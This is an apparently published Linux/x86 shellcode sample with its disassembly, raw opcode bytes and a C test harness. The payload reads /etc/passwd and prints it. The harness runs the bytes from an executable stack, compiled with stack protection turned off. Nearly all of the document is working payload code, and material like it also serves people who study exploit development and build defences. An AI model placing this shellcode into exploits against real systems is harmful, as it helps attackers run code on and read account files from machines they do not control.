/* 
# Shellcode Title: Linux/x86 - Read File (/etc/passwd) MSF Optimized Shellcode  (61 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o readfile_shellcode -z execstack -fno-stack-protector readfile_shellcode.c 
*/
 
/****************************************************
Disassembly of section .text:
 
08048060 <_start>:
 8048060:   eb 2b                   jmp    804808d <call_shellcode>
 
08048062 <shellcode>:
 8048062:   31 c0                   xor    eax,eax
 8048064:   b0 05                   mov    al,0x5
 8048066:   5b                      pop    ebx
 8048067:   31 c9                   xor    ecx,ecx
 8048069:   cd 80                   int    0x80
 804806b:   89 c3                   mov    ebx,eax
 804806d:   b0 03                   mov    al,0x3
 804806f:   89 e7                   mov    edi,esp
 8048071:   89 f9                   mov    ecx,edi
 8048073:   31 d2                   xor    edx,edx
 8048075:   b6 10                   mov    dh,0x10
 8048077:   cd 80                   int    0x80
 8048079:   89 c2                   mov    edx,eax
 804807b:   31 c0                   xor    eax,eax
 804807d:   b0 04                   mov    al,0x4
 804807f:   31 db                   xor    ebx,ebx
 8048081:   b3 01                   mov    bl,0x1
 8048083:   cd 80                   int    0x80
 8048085:   31 c0                   xor    eax,eax
 8048087:   b0 01                   mov    al,0x1
 8048089:   31 db                   xor    ebx,ebx
 804808b:   cd 80                   int    0x80
 
0804808d <call_shellcode>:
 804808d:   e8 d0 ff ff ff          call   8048062 <shellcode>
 
08048092 <message>:
 8048092:   2f                      das    
 8048093:   65                      gs
 8048094:   74 63                   je     80480f9 <message+0x67>
 8048096:   2f                      das    
 8048097:   70 61                   jo     80480fa <message+0x68>
 8048099:   73 73                   jae    804810e <message+0x7c>
 804809b:   77 64                   ja     8048101 <message+0x6f>
****************************************************/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\xeb\x2b\x31\xc0\xb0\x05\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\x10\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xd0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
 
main()
{
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}